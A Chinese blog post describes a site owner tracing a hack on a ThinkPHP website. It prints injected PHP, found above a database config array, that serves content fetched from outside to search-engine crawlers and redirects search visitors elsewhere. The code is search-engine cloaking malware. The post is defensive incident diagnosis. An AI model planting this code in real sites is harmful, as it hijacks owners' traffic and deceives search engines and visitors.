感谢“*zy”的鼓励和支持。
一网友说他的网站被“黑”了,现象是,在搜索引擎里搜索网址,收录的首页是一个X彩的网站内容,且点击搜索引擎链接进入网站,会随机出现一些其它站点的内容。但直接在浏览器里输入网址就正常。
过程:
1.在网上搜索了一些资料,说有可能是根据访问者的 http User Agent 和 http_referer 来跳转或显示不同内容的
2.同一台服务器上的另一个站点不会出现类似的现象,所以就重点看发生问题的站点文件
3.站点是用 ThinkPHP 框架写的,尝试替换 ThinkPHP 的文件内容,无效
4.尝试替换 app 里的内容,也是无效
5.鼓捣了很久(我是门外汉,不懂php编程和网站的安全运维),无意中,看到日志文件中出现 NOTIC: [8] Undefined index: HTTP_REFERER 的字样
6.找到相应的文件,有以下php代码
<?php
$arr = array('baidu','360','so','Sogou','bing','yisou','sm','google');
for($i=0;$i<count($arr);$i++){
if (ereg($arr[$i], $_SERVER["HTTP_USER_AGENT"])) {
$file = file_get_contents('http://bbs.aliyun.com/');
echo $file;
exit;
}
}
$arr1 = array('baidu','360','so','Sogou','bing','yisou','sm','google');
for($j=0;$j<count($arr1);$j++){
if (ereg($arr1[$j], $_SERVER["HTTP_REFERER"])) {
Header("Location: https://www.aliyun.com/");
exit;
}
}
return array (
'DB_HOST' => 'localhost',
'DB_NAME' => 'dbname',
'DB_USER' => 'dbuser',
'DB_PWD' => 'dbpassword',
'DB_PORT' => '3306',
'DB_PREFIX' => 'xxx_',
);
7.注释掉怀疑的代码(return array 上边的)后测试,正常了
参考:《网站被黑检测》 - http://s.tool.chin az.com/tools/webcheck.aspx